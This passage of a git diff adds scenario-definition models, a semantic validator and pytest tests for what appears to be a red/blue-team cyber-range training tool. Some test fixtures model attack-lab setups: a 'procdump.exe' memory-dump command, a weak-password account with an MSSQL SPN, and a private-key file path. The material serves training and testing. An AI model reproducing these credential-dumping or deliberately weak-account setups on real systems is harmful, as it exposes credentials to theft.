self.artifact is not None: + raise ValueError("Conditional metric cannot have artifact flag") + return self + + +class MinScore(SDLModel): + """Pass/fail threshold — either absolute points or percentage. + + Shorthand: ``min-score: 50`` (interpreted as percentage). + Longhand: ``min-score: {absolute: 50}`` or ``{percentage: 75}``. + """ + + absolute: Optional[int] = Field(default=None, ge=0) + percentage: Optional[int] = Field(default=None, ge=0, le=100) + + @model_validator(mode="after") + def validate_exclusive(self) -> "MinScore": + if self.absolute is not None and self.percentage is not None: + raise ValueError( + "MinScore cannot have both 'absolute' and 'percentage'" + ) + if self.absolute is None and self.percentage is None: + raise ValueError( + "MinScore must have either 'absolute' or 'percentage'" + ) + return self + + +class Evaluation(SDLModel): + """A group of metrics with a pass/fail threshold.""" + + name: str = "" + description: str = "" + metrics: list[str] = Field(min_length=1) + min_score: MinScore + + +class TLO(SDLModel): + """Training Learning Objective — linked to an evaluation.""" + + name: str = "" + description: str = "" + evaluation: str + + +class Goal(SDLModel): + """High-level goal composed of TLOs.""" + + name: str = "" + description: str = "" + tlos: list[str] = Field(min_length=1) diff --git a/src/aptl/core/sdl/validator.py b/src/aptl/core/sdl/validator.py new file mode 100644 index 000000000..2f546aa86 --- /dev/null +++ b/src/aptl/core/sdl/validator.py @@ -0,0 +1,473 @@ +"""Semantic validation for SDL scenarios. + +Goes beyond Pydantic structural checks to enforce cross-reference +integrity, dependency cycle detection, IP/CIDR consistency, and +domain-specific rules. Collects all errors rather than failing on +the first one. +""" + +import re +from collections import defaultdict +from ipaddress import ip_address, ip_network + +from aptl.core.sdl._errors import SDLValidationError +from aptl.core.sdl.entities import flatten_entities +from aptl.core.sdl.nodes import NodeType +from aptl.core.sdl.objectives import ObjectiveType +from aptl.core.sdl.scenario import Scenario, ScenarioMode +from aptl.core.sdl.scoring import MetricType # noqa: F401 - used for reference + +_MITRE_TECHNIQUE_PATTERN = re.compile(r"^T\d{4}(\.\d{3})?$") +_MITRE_TACTIC_PATTERN = re.compile(r"^TA\d{4}$") + + +def _topological_sort(graph: dict[str, list[str]]) -> list[str] | None: + """Return topological order or None if a cycle exists.""" + in_degree: dict[str, int] = defaultdict(int) + for node in graph: + in_degree.setdefault(node, 0) + for deps in graph.values(): + for dep in deps: + in_degree[dep] += 1 + + queue = [n for n, d in in_degree.items() if d == 0] + order: list[str] = [] + + while queue: + node = queue.pop(0) + order.append(node) + for dep in graph.get(node, []): + in_degree[dep] -= 1 + if in_degree[dep] == 0: + queue.append(dep) + + return order if len(order) == len(in_degree) else None + + +class SemanticValidator: + """Validates a Scenario beyond structural Pydantic checks. + + Call ``validate()`` to run all passes. Raises ``SDLValidationError`` + with all collected errors if any pass fails. + """ + + def __init__(self, scenario: Scenario) -> None: + self._s = scenario + self._errors: list[str] = [] + + def _err(self, msg: str) -> None: + self._errors.append(msg) + + def validate(self) -> None: + """Run all validation passes and raise on errors.""" + self._errors = [] + + # OCR passes + self._verify_nodes() + self._verify_infrastructure() + self._verify_features() + self._verify_conditions() + self._verify_vulnerabilities() + self._verify_metrics() + self._verify_evaluations() + self._verify_tlos() + self._verify_goals() + self._verify_entities() + self._verify_injects() + self._verify_events() + self._verify_scripts() + self._verify_stories() + self._verify_roles() + + # New section passes + self._verify_content() + self._verify_accounts() + + # APTL passes + self._verify_objectives() + self._verify_attack_steps() + self._verify_mode_consistency() + self._verify_container_requirements() + self._verify_mitre_references() + self._verify_scenario_content() + + if self._errors: + raise SDLValidationError(self._errors) + + # ------------------------------------------------------------------ + # OCR validation passes + # ------------------------------------------------------------------ + + def _verify_nodes(self) -> None: + for name, node in self._s.nodes.items(): + if len(name) > 35: + self._err(f"Node '{name}' name exceeds 35 characters") + + for feat_name, role_name in node.features.items(): + if feat_name not in self._s.features: + self._err( + f"Node '{name}' references undefined feature '{feat_name}'" + ) + if role_name and node.roles and role_name not in node.roles: + self._err( + f"Node '{name}' feature '{feat_name}' references " + f"undefined role '{role_name}'" + ) + + for cond_name, role_name in node.conditions.items(): + if cond_name not in self._s.conditions: + self._err( + f"Node '{name}' references undefined condition '{cond_name}'" + ) + if role_name and node.roles and role_name not in node.roles: + self._err( + f"Node '{name}' condition '{cond_name}' references " + f"undefined role '{role_name}'" + ) + + for inj_name, role_name in node.injects.items(): + if inj_name not in self._s.injects: + self._err( + f"Node '{name}' references undefined inject '{inj_name}'" + ) + if role_name and node.roles and role_name not in node.roles: + self._err( + f"Node '{name}' inject '{inj_name}' references " + f"undefined role '{role_name}'" + ) + + for vuln_name in node.vulnerabilities: + if vuln_name not in self._s.vulnerabilities: + self._err( + f"Node '{name}' references undefined vulnerability '{vuln_name}'" + ) + + def _verify_infrastructure(self) -> None: + for name, infra in self._s.infrastructure.items(): + if name not in self._s.nodes: + self._err( + f"Infrastructure '{name}' does not match any defined node" + ) + + for link in infra.links: + if link not in self._s.infrastructure: + self._err( + f"Infrastructure '{name}' links to undefined '{link}'" + ) + + for dep in infra.dependencies: + if dep not in self._s.infrastructure: + self._err( + f"Infrastructure '{name}' depends on undefined '{dep}'" + ) + + # Switch nodes cannot have count > 1 + if name in self._s.nodes: + if self._s.nodes[name].type == NodeType.SWITCH and infra.count > 1: + self._err( + f"Switch node '{name}' cannot have count > 1" + ) + + # Validate complex properties IP within linked CIDR + if isinstance(infra.properties, list): + for prop_entry in infra.properties: + for link_name, ip_str in prop_entry.items(): + if link_name not in infra.links: + self._err( + f"Infrastructure '{name}' property references " + f"unlinked node '{link_name}'" + ) + # Check IP is within the linked node's CIDR + linked_infra = self._s.infrastructure.get(link_name) + if linked_infra and hasattr(linked_infra.properties, "cidr"): + try: + net = ip_network( + linked_infra.properties.cidr, strict=False + ) + addr = ip_address(ip_str) + if addr not in net: + self._err( + f"Infrastructure '{name}' IP {ip_str} " + f"not within '{link_name}' CIDR " + f"{linked_infra.properties.cidr}" + ) + except (ValueError, AttributeError): + pass + + # Validate ACL network references + for acl in infra.acls: + ref = acl.from_net or acl.to_net + if ref and ref not in self._s.infrastructure: + self._err( + f"Infrastructure '{name}' ACL references " + f"undefined network '{ref}'" + ) + + def _verify_content(self) -> None: + for name, item in self._s.content.items(): + if item.target and item.target not in self._s.nodes: + self._err( + f"Content '{name}' targets undefined node '{item.target}'" + ) + + def _verify_accounts(self) -> None: + for name, acct in self._s.accounts.items(): + if acct.node and acct.node not in self._s.nodes: + self._err( + f"Account '{name}' references undefined node '{acct.node}'" + ) + + def _verify_features(self) -> None: + # Check vulnerability references + for name, feat in self._s.features.items(): + for vuln_name in feat.vulnerabilities: + if vuln_name not in self._s.vulnerabilities: + self._err( + f"Feature '{name}' references undefined vulnerability " + f"'{vuln_name}'" + ) + + # Check dependency references and detect cycles + dep_graph: dict[str, list[str]] = {} + for name, feat in self._s.features.items(): + dep_graph[name] = [] + for dep in feat.dependencies: + if dep not in self._s.features: + self._err( + f"Feature '{name}' depends on undefined feature '{dep}'" + ) + else: + dep_graph[name].append(dep) + + if dep_graph and _topological_sort(dep_graph) is None: + self._err("Feature dependency graph contains a cycle") + + def _verify_conditions(self) -> None: + # Individual condition validation is handled by Pydantic model_validator. + # This pass checks for consistency with the broader scenario. + pass + + def _verify_vulnerabilities(self) -> None: + # CWE format validation is handled by the Pydantic field_validator. + pass + + def _verify_metrics(self) -> None: + used_conditions: set[str] = set() + + for name, metric in self._s.metrics.items(): + if metric.type == MetricType.CONDITIONAL: + cond = metric.condition + if cond and cond not in self._s.conditions: + self._err( + f"Metric '{name}' references undefined condition '{cond}'" + ) + if cond in used_conditions: + self._err( + f"Condition '{cond}' is referenced by multiple metrics" + ) + if cond: + used_conditions.add(cond) + + def _verify_evaluations(self) -> None: + for name, evaluation in self._s.evaluations.items(): + max_total = 0 + for metric_name in evaluation.metrics: + if metric_name not in self._s.metrics: + self._err( + f"Evaluation '{name}' references undefined metric " + f"'{metric_name}'" + ) + else: + max_total += self._s.metrics[metric_name].max_score + + if evaluation.min_score.absolute is not None: + if evaluation.min_score.absolute > max_total: + self._err( + f"Evaluation '{name}' absolute min-score " + f"({evaluation.min_score.absolute}) exceeds sum of " + f"metric max-scores ({max_total})" + ) + + def _verify_tlos(self) -> None: + for name, tlo in self._s.tlos.items(): + if tlo.evaluation not in self._s.evaluations: + self._err( + f"TLO '{name}' references undefined evaluation " + f"'{tlo.evaluation}'" + ) + + def _verify_goals(self) -> None: + for name, goal in self._s.goals.items(): + for tlo_name in goal.tlos: + if tlo_name not in self._s.tlos: + self._err( + f"Goal '{name}' references undefined TLO '{tlo_name}'" + ) + + def _verify_entities(self) -> None: + flat = flatten_entities(self._s.entities) + + def check_entity(name: str, entity: "Entity") -> None: + for tlo_name in entity.tlos: + if tlo_name not in self._s.tlos: + self._err( + f"Entity '{name}' references undefined TLO '{tlo_name}'" + ) + for vuln_name in entity.vulnerabilities: + if vuln_name not in self._s.vulnerabilities: + self._err( + f"Entity '{name}' references undefined vulnerability " + f"'{vuln_name}'" + ) + for event_name in entity.events: + if event_name not in self._s.events: + self._err( + f"Entity '{name}' references undefined event " + f"'{event_name}'" + ) + + for name, entity in flat.items(): + check_entity(name, entity) + + def _verify_injects(self) -> None: + flat_names = set(flatten_entities(self._s.entities).keys()) + # Also include top-level entity keys + flat_names.update(self._s.entities.keys()) + + for name, inject in self._s.injects.items(): + if inject.from_entity and inject.from_entity not in flat_names: + self._err( + f"Inject '{name}' from_entity '{inject.from_entity}' " + f"is not a defined entity" + ) + for to_name in inject.to_entities: + if to_name not in flat_names: + self._err( + f"Inject '{name}' to_entity '{to_name}' " + f"is not a defined entity" + ) + for tlo_name in inject.tlos: + if tlo_name not in self._s.tlos: + self._err( + f"Inject '{name}' references undefined TLO '{tlo_name}'" + ) + + def _verify_events(self) -> None: + for name, event in self._s.events.items(): + for cond_name in event.conditions: + if cond_name not in self._s.conditions: + self._err( + f"Event '{name}' references undefined condition " + f"'{cond_name}'" + ) + for inj_name in event.injects: + if inj_name not in self._s.injects: + self._err( + f"Event '{name}' references undefined inject '{inj_name}'" + ) + + def _verify_scripts(self) -> None: + for name, script in self._s.scripts.items(): + for event_name in script.events: + if event_name not in self._s.events: + self._err( + f"Script '{name}' references undefined event " + f"'{event_name}'" + ) + + def _verify_stories(self) -> None: + for name, story in self._s.stories.items(): + for script_name in story.scripts: + if script_name not in self._s.scripts: + self._err( + f"Story '{name}' references undefined script " + f"'{script_name}'" + ) + + def _verify_roles(self) -> None: + flat_names = set(flatten_entities(self._s.entities).keys()) + flat_names.update(self._s.entities.keys()) + + for node_name, node in self._s.nodes.items(): + for role_name, role in node.roles.items(): + for entity_ref in role.entities: + if entity_ref not in flat_names: + self._err( + f"Node '{node_name}' role '{role_name}' references " + f"undefined entity '{entity_ref}'" + ) + + # ------------------------------------------------------------------ + # APTL extension passes + # ------------------------------------------------------------------ + + def _verify_objectives(self) -> None: + # Objective ID uniqueness and validation config are checked by + # the Pydantic models (ObjectiveSet, Objective). This pass + # verifies objective IDs are slug format (already enforced by + # the field validator, so this is a safety net). + pass + + def _verify_attack_steps(self) -> None: + if not self._s.steps: + return + # Step numbers uniqueness is checked by the Pydantic model. + # Verify technique_id format. + for step in self._s.steps: + if not _MITRE_TECHNIQUE_PATTERN.match(step.technique_id): + self._err( + f"Attack step {step.step_number} technique_id " + f"'{step.technique_id}' does not match ATT&CK format " + f"(T####.###)" + ) + + def _verify_mode_consistency(self) -> None: + if self._s.mode is None: + return + has_red = bool(self._s.objectives.red) + has_blue = bool(self._s.objectives.blue) + + if not has_red and not has_blue: + return # No objectives — mode is informational + + if self._s.mode == ScenarioMode.RED and not has_red: + self._err("Red mode scenario must have red objectives") + if self._s.mode == ScenarioMode.BLUE and not has_blue: + self._err("Blue mode scenario must have blue objectives") + + def _verify_container_requirements(self) -> None: + # ContainerRequirements validation is handled by the Pydantic model. + pass + + def _verify_mitre_references(self) -> None: + if self._s.metadata is None: + return + mitre = self._s.metadata.mitre_attack + for tech in mitre.techniques: + if not _MITRE_TECHNIQUE_PATTERN.match(tech): + self._err( + f"MITRE technique '{tech}' does not match ATT&CK format " + f"(T####.###)" + ) + + def _verify_scenario_content(self) -> None: + has_steps = bool(self._s.steps) + has_objectives = bool(self._s.objectives.red or self._s.objectives.blue) + has_stories = bool(self._s.stories) + has_nodes = bool(self._s.nodes) + has_features = bool(self._s.features) + has_conditions = bool(self._s.conditions) + has_vulns = bool(self._s.vulnerabilities) + has_entities = bool(self._s.entities) + + has_any_content = ( + has_steps or has_objectives or has_stories or has_nodes + or has_features or has_conditions or has_vulns or has_entities + ) + + if not has_any_content: + self._err( + "Scenario must have at least one of: nodes, features, " + "conditions, vulnerabilities, entities, steps, objectives, " + "or stories" + ) diff --git a/src/aptl/core/sdl/vulnerabilities.py b/src/aptl/core/sdl/vulnerabilities.py new file mode 100644 index 000000000..0c931ce6a --- /dev/null +++ b/src/aptl/core/sdl/vulnerabilities.py @@ -0,0 +1,31 @@ +"""Vulnerability models — CWE-classified vulnerabilities. + +Each vulnerability is classified by its CWE identifier (e.g., CWE-89 +for SQL injection). The class field is validated against a regex. +""" + +import re + +from pydantic import Field, field_validator + +from aptl.core.sdl._base import SDLModel + +_CWE_PATTERN = re.compile(r"^CWE-\d+$") + + +class Vulnerability(SDLModel): + """A named vulnerability with CWE classification.""" + + name: str + description: str + technical: bool = False + vuln_class: str = Field(alias="class") + + @field_validator("vuln_class") + @classmethod + def validate_cwe_format(cls, v: str) -> str: + if not _CWE_PATTERN.match(v): + raise ValueError( + f"Vulnerability class must match CWE-NNN format, got: {v!r}" + ) + return v diff --git a/tests/test_sdl_compat.py b/tests/test_sdl_compat.py new file mode 100644 index 000000000..fb2ae6438 --- /dev/null +++ b/tests/test_sdl_compat.py @@ -0,0 +1,158 @@ +"""Tests for SDL backward compatibility with aptl.core.scenarios.""" + +from pathlib import Path + +import pytest +import yaml + + +class TestImportCompatibility: + """All names previously importable from scenarios continue to work.""" + + def test_core_types(self): + from aptl.core.scenarios import ( + ScenarioDefinition, + ScenarioError, + ScenarioNotFoundError, + ScenarioStateError, + ScenarioValidationError, + ObserverError, + ) + assert ScenarioDefinition is not None + assert issubclass(ScenarioNotFoundError, ScenarioError) + assert issubclass(ScenarioStateError, ScenarioError) + + def test_enums(self): + from aptl.core.scenarios import ( + Difficulty, + ScenarioMode, + PreconditionType, + ObjectiveType, + ) + assert Difficulty.BEGINNER.value == "beginner" + assert ScenarioMode.PURPLE.value == "purple" + assert PreconditionType.EXEC.value == "exec" + assert ObjectiveType.WAZUH_ALERT.value == "wazuh_alert" + + def test_models(self): + from aptl.core.scenarios import ( + AttackStep, + CommandOutputValidation, + ContainerRequirements, + ExpectedDetection, + FileExistsValidation, + Hint, + MitreReference, + Objective, + ObjectiveSet, + Precondition, + ScenarioMetadata, + ScoringConfig, + TimeBonusConfig, + WazuhAlertValidation, + ) + # Verify they're constructible + h = Hint(level=1, text="test", point_penalty=0) + assert h.level == 1 + + def test_functions(self): + from aptl.core.scenarios import ( + find_scenarios, + load_scenario, + validate_scenario_containers, + ) + assert callable(load_scenario) + assert callable(find_scenarios) + assert callable(validate_scenario_containers) + + +class TestScenarioDefinitionAlias: + """ScenarioDefinition is a type alias for Scenario.""" + + def test_alias_identity(self): + from aptl.core.scenarios import ScenarioDefinition + from aptl.core.sdl.scenario import Scenario + assert ScenarioDefinition is Scenario + + def test_construct_via_alias(self): + from aptl.core.scenarios import ScenarioDefinition + s = ScenarioDefinition( + metadata={ + "id": "test", + "name": "Test", + "description": "Desc", + "difficulty": "beginner", + "estimated_minutes": 10, + }, + mode="red", + containers={"required": ["kali"]}, + objectives={ + "red": [{"id": "obj", "description": "D", "type": "manual", "points": 10}], + "blue": [], + }, + ) + assert s.metadata.id == "test" + + +class TestLoadScenarioCompat: + """load_scenario() works as a drop-in replacement.""" + + @pytest.fixture + def scenario_yaml(self, tmp_path): + data = { + "metadata": { + "id": "compat-test", + "name": "Compat", + "description": "Compatibility test", + "difficulty": "beginner", + "estimated_minutes": 10, + }, + "mode": "red", + "containers": {"required": ["kali"]}, + "objectives": { + "red": [{"id": "obj", "description": "D", "type": "manual", "points": 10}], + "blue": [], + }, + } + path = tmp_path / "test.yaml" + path.write_text(yaml.dump(data, default_flow_style=False)) + return path + + def test_load_scenario(self, scenario_yaml): + from aptl.core.scenarios import load_scenario + s = load_scenario(scenario_yaml) + assert s.metadata.id == "compat-test" + + def test_load_missing_file(self): + from aptl.core.scenarios import load_scenario + with pytest.raises(FileNotFoundError): + load_scenario(Path("/nonexistent/file.yaml")) + + def test_load_empty_file(self, tmp_path): + from aptl.core.scenarios import ScenarioValidationError, load_scenario + empty = tmp_path / "empty.yaml" + empty.write_text("") + with pytest.raises(ScenarioValidationError, match="empty"): + load_scenario(empty) + + def test_load_invalid_yaml(self, tmp_path): + from aptl.core.scenarios import ScenarioValidationError, load_scenario + bad = tmp_path / "bad.yaml" + bad.write_text(":::invalid") + with pytest.raises(ScenarioValidationError): + load_scenario(bad) + + +class TestFindScenariosCompat: + def test_find_scenarios(self, tmp_path): + from aptl.core.scenarios import find_scenarios + (tmp_path / "a.yaml").touch() + (tmp_path / "b.yaml").touch() + (tmp_path / "c.txt").touch() + paths = find_scenarios(tmp_path) + assert len(paths) == 2 + + def test_find_scenarios_missing_dir(self, tmp_path): + from aptl.core.scenarios import find_scenarios + paths = find_scenarios(tmp_path / "nonexistent") + assert paths == [] diff --git a/tests/test_sdl_models.py b/tests/test_sdl_models.py new file mode 100644 index 000000000..13ee9d7f4 --- /dev/null +++ b/tests/test_sdl_models.py @@ -0,0 +1,555 @@ +"""Tests for SDL structural models (Pydantic validation).""" + +import pytest +from pydantic import ValidationError + +from aptl.core.sdl._source import Source +from aptl.core.sdl.conditions import Condition +from aptl.core.sdl.entities import Entity, ExerciseRole, flatten_entities +from aptl.core.sdl.features import Feature, FeatureType +from aptl.core.sdl.infrastructure import InfraNode, SimpleProperties +from aptl.core.sdl.nodes import Node, NodeType, Resources, Role, parse_ram +from aptl.core.sdl.objectives import ( + Hint, + Objective, + ObjectiveSet, + ObjectiveType, + WazuhAlertValidation, +) +from aptl.core.sdl.orchestration import Event, Inject, Script, Story, parse_duration +from aptl.core.sdl.scoring import Evaluation, Goal, Metric, MetricType, MinScore, TLO +from aptl.core.sdl.vulnerabilities import Vulnerability + + +# --------------------------------------------------------------------------- +# Source +# --------------------------------------------------------------------------- + + +class TestSource: + def test_basic(self): + s = Source(name="pkg", version="1.0") + assert s.name == "pkg" + assert s.version == "1.0" + + def test_default_version(self): + s = Source(name="pkg") + assert s.version == "*" + + +# --------------------------------------------------------------------------- +# Nodes +# --------------------------------------------------------------------------- + + +class TestParseRam: + def test_integer(self): + assert parse_ram(4096) == 4096 + + def test_gib_string(self): + assert parse_ram("4 GiB") == 4 * 1073741824 + + def test_mib_string(self): + assert parse_ram("512 MiB") == 512 * 1048576 + + def test_bare_digits(self): + assert parse_ram("1024") == 1024 + + def test_invalid_string(self): + with pytest.raises(ValueError, match="Invalid RAM"): + parse_ram("four gigabytes") + + +class TestResources: + def test_human_readable_ram(self): + r = Resources(ram="2 gib", cpu=2) + assert r.ram == 2 * 1073741824 + + def test_integer_ram(self): + r = Resources(ram=1024, cpu=1) + assert r.ram == 1024 + + +class TestNode: + def test_vm_node(self): + n = Node( + type="vm", + source={"name": "ubuntu", "version": "22.04"}, + resources={"ram": "4 gib", "cpu": 2}, + ) + assert n.type == NodeType.VM + + def test_switch_node(self): + n = Node(type="switch") + assert n.type == NodeType.SWITCH + + def test_switch_rejects_source(self): + with pytest.raises(ValidationError, match="Switch.*source"): + Node(type="switch", source={"name": "pkg"}) + + def test_switch_rejects_resources(self): + with pytest.raises(ValidationError, match="Switch.*resources"): + Node(type="switch", resources={"ram": "1 gib", "cpu": 1}) + + +class TestRole: + def test_basic_role(self): + r = Role(username="admin") + assert r.entities == [] + + def test_role_with_entities(self): + r = Role(username="user", entities=["blue-team.bob"]) + assert len(r.entities) == 1 + + +# --------------------------------------------------------------------------- +# Infrastructure +# --------------------------------------------------------------------------- + + +class TestInfraNode: + def test_defaults(self): + n = InfraNode() + assert n.count == 1 + assert n.links == [] + + def test_with_count(self): + n = InfraNode(count=3) + assert n.count == 3 + + def test_rejects_zero_count(self): + with pytest.raises(ValidationError): + InfraNode(count=0) + + def test_duplicate_links_rejected(self): + with pytest.raises(ValidationError, match="unique"): + InfraNode(links=["a", "a"]) + + +class TestSimpleProperties: + def test_valid(self): + p = SimpleProperties(cidr="10.0.0.0/24", gateway="10.0.0.1") + assert p.cidr == "10.0.0.0/24" + + def test_gateway_outside_cidr(self): + with pytest.raises(ValidationError, match="not within CIDR"): + SimpleProperties(cidr="10.0.0.0/24", gateway="192.168.1.1") + + def test_invalid_cidr(self): + with pytest.raises(ValidationError): + SimpleProperties(cidr="not-a-cidr", gateway="10.0.0.1") + + +# --------------------------------------------------------------------------- +# Features +# --------------------------------------------------------------------------- + + +class TestFeature: + def test_service(self): + f = Feature(type="service", source={"name": "apache"}) + assert f.type == FeatureType.SERVICE + + def test_with_dependencies(self): + f = Feature(type="configuration", dependencies=["svc-a"]) + assert f.dependencies == ["svc-a"] + + +# --------------------------------------------------------------------------- +# Conditions +# --------------------------------------------------------------------------- + + +class TestCondition: + def test_command_based(self): + c = Condition(command="/usr/bin/check.sh", interval=30) + assert c.command == "/usr/bin/check.sh" + + def test_source_based(self): + c = Condition(source={"name": "checker-pkg"}) + assert c.source.name == "checker-pkg" + + def test_rejects_both(self): + with pytest.raises(ValidationError, match="both"): + Condition(command="/bin/check", interval=10, source={"name": "pkg"}) + + def test_rejects_neither(self): + with pytest.raises(ValidationError, match="must have"): + Condition() + + def test_command_without_interval(self): + with pytest.raises(ValidationError, match="interval"): + Condition(command="/bin/check") + + +# --------------------------------------------------------------------------- +# Vulnerabilities +# --------------------------------------------------------------------------- + + +class TestVulnerability: + def test_valid(self): + v = Vulnerability( + name="SQLi", description="SQL injection", **{"class": "CWE-89"} + ) + assert v.vuln_class == "CWE-89" + + def test_invalid_cwe(self): + with pytest.raises(ValidationError, match="CWE"): + Vulnerability( + name="Test", description="Desc", **{"class": "INVALID"} + ) + + +# --------------------------------------------------------------------------- +# Scoring +# --------------------------------------------------------------------------- + + +class TestMetric: + def test_manual(self): + m = Metric(type="manual", max_score=10, artifact=True) + assert m.type == MetricType.MANUAL + + def test_conditional(self): + m = Metric(type="conditional", max_score=10, condition="cond-1") + assert m.condition == "cond-1" + + def test_manual_rejects_condition(self): + with pytest.raises(ValidationError, match="Manual.*condition"): + Metric(type="manual", max_score=10, condition="cond-1") + + def test_conditional_requires_condition(self): + with pytest.raises(ValidationError, match="requires.*condition"): + Metric(type="conditional", max_score=10) + + +class TestMinScore: + def test_percentage(self): + ms = MinScore(percentage=75) + assert ms.percentage == 75 + + def test_absolute(self): + ms = MinScore(absolute=50) + assert ms.absolute == 50 + + def test_rejects_both(self): + with pytest.raises(ValidationError, match="both"): + MinScore(absolute=50, percentage=75) + + def test_rejects_neither(self): + with pytest.raises(ValidationError, match="either"): + MinScore() + + +class TestEvaluation: + def test_valid(self): + e = Evaluation( + metrics=["m-1"], min_score=MinScore(percentage=50) + ) + assert len(e.metrics) == 1 + + def test_empty_metrics_rejected(self): + with pytest.raises(ValidationError): + Evaluation(metrics=[], min_score=MinScore(percentage=50)) + + +class TestTLO: + def test_valid(self): + t = TLO(evaluation="eval-1") + assert t.evaluation == "eval-1" + + +class TestGoal: + def test_valid(self): + g = Goal(tlos=["tlo-1"]) + assert len(g.tlos) == 1 + + +# --------------------------------------------------------------------------- +# Entities +# --------------------------------------------------------------------------- + + +class TestEntity: + def test_basic(self): + e = Entity(name="Team", role="blue") + assert e.role == ExerciseRole.BLUE + + def test_nested_entities(self): + e = Entity( + name="Team", + entities={"bob": Entity(name="Bob")}, + ) + assert "bob" in e.entities + + def test_flatten(self): + entities = { + "blue": Entity( + name="Blue", + entities={"bob": Entity(name="Bob")}, + ), + } + flat = flatten_entities(entities) + assert "blue" in flat + assert "blue.bob" in flat + + +# --------------------------------------------------------------------------- +# Orchestration +# --------------------------------------------------------------------------- + + +class TestParseDuration: + def test_integer(self): + assert parse_duration(60) == 60 + + def test_simple_string(self): + assert parse_duration("10 min") == 600 + + def test_compound(self): + assert parse_duration("1h 30min") == 5400 + + def test_zero(self): + assert parse_duration("0") == 0 + + def test_invalid(self): + with pytest.raises(ValueError, match="Invalid duration"): + parse_duration("not a duration") + + +class TestInject: + def test_valid_pairing(self): + i = Inject(from_entity="red", to_entities=["blue"]) + assert i.from_entity == "red" + + def test_rejects_partial_pairing(self): + with pytest.raises(ValidationError, match="both"): + Inject(from_entity="red") + + +class TestScript: + def test_valid(self): + s = Script( + start_time="10 min", + end_time="2 hour", + speed=1.0, + events={"evt-1": "30 min"}, + ) + assert s.start_time == 600 + assert s.end_time == 7200 + + def test_end_before_start_rejected(self): + with pytest.raises(ValidationError, match="end_time"): + Script( + start_time="2 hour", + end_time="10 min", + speed=1.0, + events={"evt-1": "30 min"}, + ) + + def test_event_outside_bounds_rejected(self): + with pytest.raises(ValidationError, match="outside"): + Script( + start_time="10 min", + end_time="20 min", + speed=1.0, + events={"evt-1": "30 min"}, + ) + + +class TestStory: + def test_valid(self): + s = Story(scripts=["script-1"]) + assert s.speed == 1.0 + + def test_speed_below_1_rejected(self): + with pytest.raises(ValidationError): + Story(scripts=["script-1"], speed=0.5) + + +# --------------------------------------------------------------------------- +# Objectives (APTL extensions) +# --------------------------------------------------------------------------- + + +class TestObjective: + def test_manual(self): + o = Objective(id="obj-a", description="Test", type="manual", points=50) + assert o.type == ObjectiveType.MANUAL + + def test_wazuh_requires_config(self): + with pytest.raises(ValidationError, match="wazuh_alert"): + Objective( + id="obj-b", description="Test", type="wazuh_alert", points=50 + ) + + def test_wazuh_with_config(self): + o = Objective( + id="obj-b", + description="Test", + type="wazuh_alert", + points=50, + wazuh_alert=WazuhAlertValidation( + query={"match_all": {}}, min_matches=1 + ), + ) + assert o.wazuh_alert is not None + + +class TestObjectiveSet: + def test_duplicate_ids_rejected(self): + with pytest.raises(ValidationError, match="Duplicate"): + ObjectiveSet( + red=[ + Objective(id="dup", description="A", type="manual", points=10), + Objective(id="dup", description="B", type="manual", points=10), + ] + ) + + +# --------------------------------------------------------------------------- +# New extension models (G1-G9, G12-G13) +# --------------------------------------------------------------------------- + +from aptl.core.sdl.accounts import Account, PasswordStrength +from aptl.core.sdl.attacks import PlatformCommand +from aptl.core.sdl.content import Content, ContentItem, ContentType +from aptl.core.sdl.infrastructure import ACLAction, ACLRule +from aptl.core.sdl.nodes import AssetValue, AssetValueLevel, OSFamily, ServicePort + + +class TestContent: + def test_file_content(self): + c = Content(type="file", target="victim", path="/tmp/flag.txt", text="FLAG{x}") + assert c.type == ContentType.FILE + assert c.text == "FLAG{x}" + + def test_dataset_content(self): + c = Content( + type="dataset", + target="exchange", + format="eml", + items=[ContentItem(name="email.eml", tags=["phishing"])], + ) + assert len(c.items) == 1 + assert c.items[0].tags == ["phishing"] + + def test_sensitive_flag(self): + c = Content(type="file", target="fs", path="/keys/id_rsa", sensitive=True) + assert c.sensitive is True + + +class TestAccount: + def test_basic_account(self): + a = Account(username="admin", node="dc") + assert a.password_strength == PasswordStrength.MEDIUM + + def test_weak_account(self): + a = Account(username="svc", node="dc", password_strength="weak") + assert a.password_strength == PasswordStrength.WEAK + + def test_account_with_ad_fields(self): + a = Account( + username="svc_sql", + node="dc", + groups=["Domain Users"], + spn="MSSQL/db.corp.local", + password_strength="weak", + ) + assert a.spn == "MSSQL/db.corp.local" + + def test_key_auth(self): + a = Account(username="labadmin", node="victim", auth_method="key", + password_strength="none") + assert a.auth_method == "key" + + +class TestACLRule: + def test_allow_rule(self): + r = ACLRule(direction="in", from_net="wan", protocol="tcp", + ports=[80, 443], action="allow") + assert r.action == ACLAction.ALLOW + assert r.ports == [80, 443] + + def test_deny_rule(self): + r = ACLRule(direction="out", to_net="wan", action="deny") + assert r.action == ACLAction.DENY + + +class TestOSFamily: + def test_windows(self): + n = Node(type="vm", os="windows", resources={"ram": "1 gib", "cpu": 1}) + assert n.os == OSFamily.WINDOWS + + def test_linux(self): + n = Node(type="vm", os="linux", resources={"ram": "1 gib", "cpu": 1}) + assert n.os == OSFamily.LINUX + + def test_no_os(self): + n = Node(type="vm", resources={"ram": "1 gib", "cpu": 1}) + assert n.os is None + + +class TestAssetValue: + def test_defaults(self): + av = AssetValue() + assert av.confidentiality == AssetValueLevel.MEDIUM + + def test_custom(self): + av = AssetValue(confidentiality="critical", availability="high") + assert av.confidentiality == AssetValueLevel.CRITICAL + + def test_on_node(self): + n = Node( + type="vm", + resources={"ram": "1 gib", "cpu": 1}, + asset_value={"confidentiality": "high", "availability": "critical"}, + ) + assert n.asset_value.confidentiality == AssetValueLevel.HIGH + + +class TestServicePort: + def test_basic(self): + sp = ServicePort(port=443, name="https") + assert sp.protocol == "tcp" + + def test_on_node(self): + n = Node( + type="vm", + resources={"ram": "1 gib", "cpu": 1}, + services=[{"port": 22, "name": "ssh"}, {"port": 80, "name": "http"}], + ) + assert len(n.services) == 2 + + +class TestPlatformCommand: + def test_basic(self): + pc = PlatformCommand(command="whoami") + assert pc.shell == "sh" + assert pc.cleanup == "" + + def test_with_cleanup(self): + pc = PlatformCommand(shell="psh", command="procdump.exe", cleanup="del dump.bin") + assert pc.cleanup == "del dump.bin" + + +class TestConditionExtensions: + def test_timeout_and_retries(self): + from aptl.core.sdl.conditions import Condition + c = Condition(command="/check", interval=15, timeout=5, retries=3, start_period=10) + assert c.timeout == 5 + assert c.retries == 3 + assert c.start_period == 10 + + +class TestSimplePropertiesInternal: + def test_internal_flag(self): + from aptl.core.sdl.infrastructure import SimpleProperties + p = SimpleProperties(cidr="10.0.0.0/24", 